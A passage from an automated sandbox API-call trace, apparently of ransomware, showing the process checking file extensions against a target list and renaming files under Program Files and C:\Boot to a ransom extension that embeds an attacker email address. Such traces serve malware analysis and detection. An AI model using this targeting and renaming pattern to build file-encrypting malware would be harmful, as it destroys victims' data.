Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0061.104] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.104] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0061.104] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0061.104] lstrlenW (lpString=".doc") returned 4 [0061.104] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.104] lstrlenW (lpString=".docx") returned 5 [0061.104] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0061.104] lstrlenW (lpString=".pdf") returned 4 [0061.104] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.104] lstrlenW (lpString=".xls") returned 4 [0061.104] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.104] lstrlenW (lpString=".xlsx") returned 5 [0061.104] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0061.104] lstrlenW (lpString=".ppt") returned 4 [0061.104] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.104] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0061.104] lstrlenW (lpString=".zip") returned 4 [0061.104] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.105] lstrlenW (lpString=".rar") returned 4 [0061.105] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.105] lstrlenW (lpString=".bz2") returned 4 [0061.105] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.105] lstrlenW (lpString=".7z") returned 3 [0061.105] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0061.105] lstrlenW (lpString=".dbf") returned 4 [0061.105] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0061.105] lstrlenW (lpString=".1cd") returned 4 [0061.105] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0061.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0061.105] lstrlenW (lpString=".jpg") returned 4 [0061.105] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0061.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0061.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0061.105] lstrlenW (lpString=".doc") returned 4 [0061.105] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.105] lstrlenW (lpString=".docx") returned 5 [0061.105] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0061.105] lstrlenW (lpString=".pdf") returned 4 [0061.105] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.105] lstrlenW (lpString=".xls") returned 4 [0061.105] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.105] lstrlenW (lpString=".xlsx") returned 5 [0061.105] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0061.106] lstrlenW (lpString=".ppt") returned 4 [0061.106] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0061.106] lstrlenW (lpString=".zip") returned 4 [0061.106] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.106] lstrlenW (lpString=".rar") returned 4 [0061.106] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.106] lstrlenW (lpString=".bz2") returned 4 [0061.106] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.106] lstrlenW (lpString=".7z") returned 3 [0061.106] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0061.106] lstrlenW (lpString=".dbf") returned 4 [0061.106] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0061.106] lstrlenW (lpString=".1cd") returned 4 [0061.106] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0061.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0061.106] lstrlenW (lpString=".jpg") returned 4 [0061.106] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0061.106] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0061.106] lstrlenW (lpString="720x480blacksquare.png") returned 22 [0061.107] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0061.283] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3823) returned 1 [0061.283] CloseHandle (hObject=0x190) returned 1 [0061.284] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png")) returned 0x20 [0061.284] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0061.284] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.284] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0061.284] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0061.284] lstrlenW (lpString=".doc") returned 4 [0061.284] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.284] lstrlenW (lpString=".docx") returned 5 [0061.284] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0061.284] lstrlenW (lpString=".pdf") returned 4 [0061.284] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.284] lstrlenW (lpString=".xls") returned 4 [0061.284] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.284] lstrlenW (lpString=".xlsx") returned 5 [0061.285] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0061.285] lstrlenW (lpString=".ppt") returned 4 [0061.285] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.285] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0061.285] lstrlenW (lpString=".zip") returned 4 [0061.285] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.285] lstrlenW (lpString=".rar") returned 4 [0061.285] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.285] lstrlenW (lpString=".bz2") returned 4 [0061.285] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.285] lstrlenW (lpString=".7z") returned 3 [0061.285] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.285] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0061.285] lstrlenW (lpString=".dbf") returned 4 [0061.285] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.285] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0061.285] lstrlenW (lpString=".1cd") returned 4 [0061.285] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0061.285] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0061.285] lstrlenW (lpString=".jpg") returned 4 [0061.285] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0061.285] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0061.285] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0061.285] lstrlenW (lpString=".doc") returned 4 [0061.285] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.285] lstrlenW (lpString=".docx") returned 5 [0061.286] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0061.286] lstrlenW (lpString=".pdf") returned 4 [0061.286] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.286] lstrlenW (lpString=".xls") returned 4 [0061.286] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.286] lstrlenW (lpString=".xlsx") returned 5 [0061.286] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0061.286] lstrlenW (lpString=".ppt") returned 4 [0061.286] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.286] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0061.286] lstrlenW (lpString=".zip") returned 4 [0061.286] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.286] lstrlenW (lpString=".rar") returned 4 [0061.286] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.286] lstrlenW (lpString=".bz2") returned 4 [0061.286] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.286] lstrlenW (lpString=".7z") returned 3 [0061.286] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.286] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0061.286] lstrlenW (lpString=".dbf") returned 4 [0061.286] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.286] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0061.286] lstrlenW (lpString=".1cd") returned 4 [0061.286] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0061.286] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0061.286] lstrlenW (lpString=".jpg") returned 4 [0061.286] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0061.287] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0061.287] lstrlenW (lpString="NextMenuButtonIconSubpictur.png") returned 31 [0061.287] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0061.287] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3076) returned 1 [0061.287] CloseHandle (hObject=0x190) returned 1 [0061.287] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png")) returned 0x20 [0061.287] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0061.288] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.288] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png") returned 87 [0061.288] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png") returned 87 [0061.288] lstrlenW (lpString=".doc") returned 4 [0061.288] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.288] lstrlenW (lpString=".docx") returned 5 [0061.288] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0061.288] lstrlenW (lpString=".pdf") returned 4 [0061.288] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.288] lstrlenW (lpString=".xls") returned 4 [0061.288] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.288] lstrlenW (lpString=".xlsx") returned 5 [0061.288] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0061.288] lstrlenW (lpString=".ppt") returned 4 [0061.288] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.288] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png") returned 87 [0061.288] lstrlenW (lpString=".zip") returned 4 [0061.288] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.288] lstrlenW (lpString=".rar") returned 4 [0061.288] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.288] lstrlenW (lpString=".bz2") returned 4 [0061.288] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.288] lstrlenW (lpString=".7z") returned 3 [0061.288] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.288] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png") returned 87 [0061.288] lstrlenW (lpString=".dbf") returned 4 [0061.289] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.294] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0061.295] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 Thread: id = 13 os_tid = 0x980 [0040.246] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5f0928 [0040.246] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3870048 [0040.246] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560368 [0040.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x563090 [0040.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560380 [0040.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3970020 [0040.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560398 [0040.247] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560398, Size=0x20) returned 0x58f920 [0040.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560398 [0040.247] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560398, Size=0x20) returned 0x58f8f8 [0040.247] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0040.247] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0040.247] Wow64DisableWow64FsRedirection (in: OldValue=0x2dbff58 | out: OldValue=0x2dbff58*=0x0) returned 1 [0040.247] lstrlenW (lpString="kernel32.dll") returned 12 [0040.247] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f920 | out: hHeap=0x510000) returned 1 [0040.247] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.247] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f8f8 | out: hHeap=0x510000) returned 1 [0040.247] Sleep (dwMilliseconds=0x64) [0040.498] lstrcmpiW (lpString1=".LOG2", lpString2=".asd") returned 1 [0040.498] lstrlenW (lpString="BCD.LOG2") returned 8 [0040.498] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0040.852] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=0) returned 1 [0040.852] CloseHandle (hObject=0x164) returned 1 [0040.852] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0040.853] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0040.853] lstrlenW (lpString=".doc") returned 4 [0040.853] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0040.853] lstrlenW (lpString=".docx") returned 5 [0040.853] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0040.853] lstrlenW (lpString=".pdf") returned 4 [0040.853] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0040.853] lstrlenW (lpString=".xls") returned 4 [0040.853] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0040.853] lstrlenW (lpString=".xlsx") returned 5 [0040.853] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0040.853] lstrlenW (lpString=".ppt") returned 4 [0040.853] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0040.853] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0040.853] lstrlenW (lpString=".zip") returned 4 [0040.853] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0040.853] lstrlenW (lpString=".rar") returned 4 [0040.853] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0040.853] lstrlenW (lpString=".bz2") returned 4 [0040.853] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0040.853] lstrlenW (lpString=".7z") returned 3 [0040.853] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0040.853] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0040.853] lstrlenW (lpString=".dbf") returned 4 [0040.853] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0040.853] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0040.853] lstrlenW (lpString=".1cd") returned 4 [0040.853] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0040.853] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0040.853] lstrlenW (lpString=".jpg") returned 4 [0040.853] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0040.853] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0040.853] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0040.854] lstrlenW (lpString=".doc") returned 4 [0040.854] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0040.854] lstrlenW (lpString=".docx") returned 5 [0040.854] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0040.854] lstrlenW (lpString=".pdf") returned 4 [0040.854] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0040.854] lstrlenW (lpString=".xls") returned 4 [0040.854] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0040.854] lstrlenW (lpString=".xlsx") returned 5 [0040.854] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0040.854] lstrlenW (lpString=".ppt") returned 4 [0040.854] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0040.854] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0040.854] lstrlenW (lpString=".zip") returned 4 [0040.854] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0040.854] lstrlenW (lpString=".rar") returned 4 [0040.854] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0040.854] lstrlenW (lpString=".bz2") returned 4 [0040.854] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0040.854] lstrlenW (lpString=".7z") returned 3 [0040.854] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0040.854] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0040.854] lstrlenW (lpString=".dbf") returned 4 [0040.854] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0040.854] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0040.854] lstrlenW (lpString=".1cd") returned 4 [0040.854] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0040.854] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0040.854] lstrlenW (lpString=".jpg") returned 4 [0040.854] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0040.855] Sleep (dwMilliseconds=0x64) [0041.567] Sleep (dwMilliseconds=0x64) [0041.753] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.754] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.754] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.754] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=90176) returned 1 [0041.754] CloseHandle (hObject=0x168) returned 1 [0041.754] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0041.754] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.754] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.754] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.754] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.754] lstrlenW (lpString=".doc") returned 4 [0041.754] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.754] lstrlenW (lpString=".docx") returned 5 [0041.754] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.754] lstrlenW (lpString=".pdf") returned 4 [0041.754] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.754] lstrlenW (lpString=".xls") returned 4 [0041.754] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.754] lstrlenW (lpString=".xlsx") returned 5 [0041.754] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.754] lstrlenW (lpString=".ppt") returned 4 [0041.754] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.755] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.755] lstrlenW (lpString=".zip") returned 4 [0041.755] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.755] lstrlenW (lpString=".rar") returned 4 [0041.755] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.755] lstrlenW (lpString=".bz2") returned 4 [0041.755] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.755] lstrlenW (lpString=".7z") returned 3 [0041.755] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.755] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.755] lstrlenW (lpString=".dbf") returned 4 [0041.755] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.755] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.755] lstrlenW (lpString=".1cd") returned 4 [0041.755] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.755] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.755] lstrlenW (lpString=".jpg") returned 4 [0041.755] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.755] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.755] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.755] lstrlenW (lpString=".doc") returned 4 [0041.755] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.755] lstrlenW (lpString=".docx") returned 5 [0041.755] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.755] lstrlenW (lpString=".pdf") returned 4 [0041.755] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.755] lstrlenW (lpString=".xls") returned 4 [0041.755] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.755] lstrlenW (lpString=".xlsx") returned 5 [0041.755] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.755] lstrlenW (lpString=".ppt") returned 4 [0041.755] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.756] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.756] lstrlenW (lpString=".zip") returned 4 [0041.756] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.756] lstrlenW (lpString=".rar") returned 4 [0041.756] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.756] lstrlenW (lpString=".bz2") returned 4 [0041.756] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.756] lstrlenW (lpString=".7z") returned 3 [0041.756] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.756] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.756] lstrlenW (lpString=".dbf") returned 4 [0041.756] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.756] 